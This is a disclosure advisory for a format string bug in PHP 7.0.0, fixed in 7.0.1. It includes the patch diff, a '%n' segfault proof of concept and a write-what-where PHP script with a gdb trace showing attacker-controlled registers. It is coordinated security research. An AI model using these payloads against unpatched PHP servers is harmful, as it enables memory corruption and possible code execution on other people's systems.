Overview
--------------------------------------------
A fun little format string vulnerability exists in PHP 7.0.0 due to how
non-existent class names are handled. From my limited research I
believe this issue is likely exploitable for full code execution (see
test script below). This issue does not appear to be present in
previous PHP versions and has been patched in version 7.0.1. If you
build a working exploit, drop me a line, I'd love to see (andrew at
jmpesp dot org). Shout out to the PHP team for fixing this so quickly
and for building a great product. Greetz to my DSU crew.
Timeline
--------------------------------------------
12/11/2015: Discovered
12/12/2015: Reported to PHP team
12/13/2015: Patch accepted and committed
12/17/2015: PHP 7.0.1 released containing patch
12/22/2015: Publicly disclosed
Vulnerability/Patch
--------------------------------------------
diff -rup php-7.0.0_old/Zend/zend_execute_API.c
php-7.0.0_new/Zend/zend_execute_API.c
--- php-7.0.0_old/Zend/zend_execute_API.c 2015-12-01 07:36:25.000000000
-0600
+++ php-7.0.0_new/Zend/zend_execute_API.c 2015-12-12 12:24:24.999391117
-0600
@@ -218,7 +218,7 @@ static void zend_throw_or_error(int fetc
zend_vspprintf(&message, 0, format, va);
if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {
- zend_throw_error(exception_ce, message);
+ zend_throw_error(exception_ce, "%s", message);
} else {
zend_error(E_ERROR, "%s", message);
}
Proof of Concept #1 (simple segfault)
--------------------------------------------
<?php $name="%n%n%n%n%n"; $name::doSomething(); ?>
Proof of Concept #2 (write-what-where primitive)
--------------------------------------------
andrew@thinkpad /tmp/php-7.0.0_64 % cat /tmp/test.php
<?php
ini_set("memory_limit", "4G"); // there's probably a much cleaner way to
do this
$rdx = 0x42424242; // what
$rax = 0x43434343; // where
$name = "%" . ($rdx - 8) . "d" . "%d" . "%n" . str_repeat("A", ($rax -
34)); // your offsets may differ.
$name::doSomething();
?>
andrew@thinkpad /tmp/php-7.0.0_64 % gdb sapi/cli/php
GNU gdb (GDB) 7.10
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show
copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from sapi/cli/php...done.
(gdb) r /tmp/test.php
Starting program: /tmp/php-7.0.0_64/sapi/cli/php /tmp/test64.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x0000000000672935 in xbuf_format_converter
(xbuf=xbuf@entry=0x7fffffffa610, is_char=is_char@entry=1 '\001',
fmt=<optimized out>, ap=0x7fffffffa658)
at /tmp/php-7.0.0_64/main/spprintf.c:744
744 *(va_arg(ap, int *)) = is_char? (int)((smart_string
*)xbuf)->len : (int)ZSTR_LEN(((smart_str *)xbuf)->s);
(gdb) i r
rax 0x43434343 1128481603
rbx 0x7fffb2800016 140736188121110
rcx 0x6e 110
rdx 0x42424242 1111638594
rsi 0x7fffffff9db0 140737488330160
rdi 0x7fffffffa658 140737488332376
rbp 0x1 0x1
rsp 0x7fffffff9d50 0x7fffffff9d50
r8 0x7fffffff9db0 140737488330160
r9 0x7fffb2800016 140736188121110
r10 0x0 0
r11 0x0 0
r12 0x20 32
r13 0x7fffffffa610 140737488332304
r14 0x0 0
r15 0x4242423a 1111638586
rip 0x672935 0x672935 <xbuf_format_converter+1845>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/1i $rip
=> 0x672935 <xbuf_format_converter+1845>: mov DWORD PTR [rax],edx
(gdb)
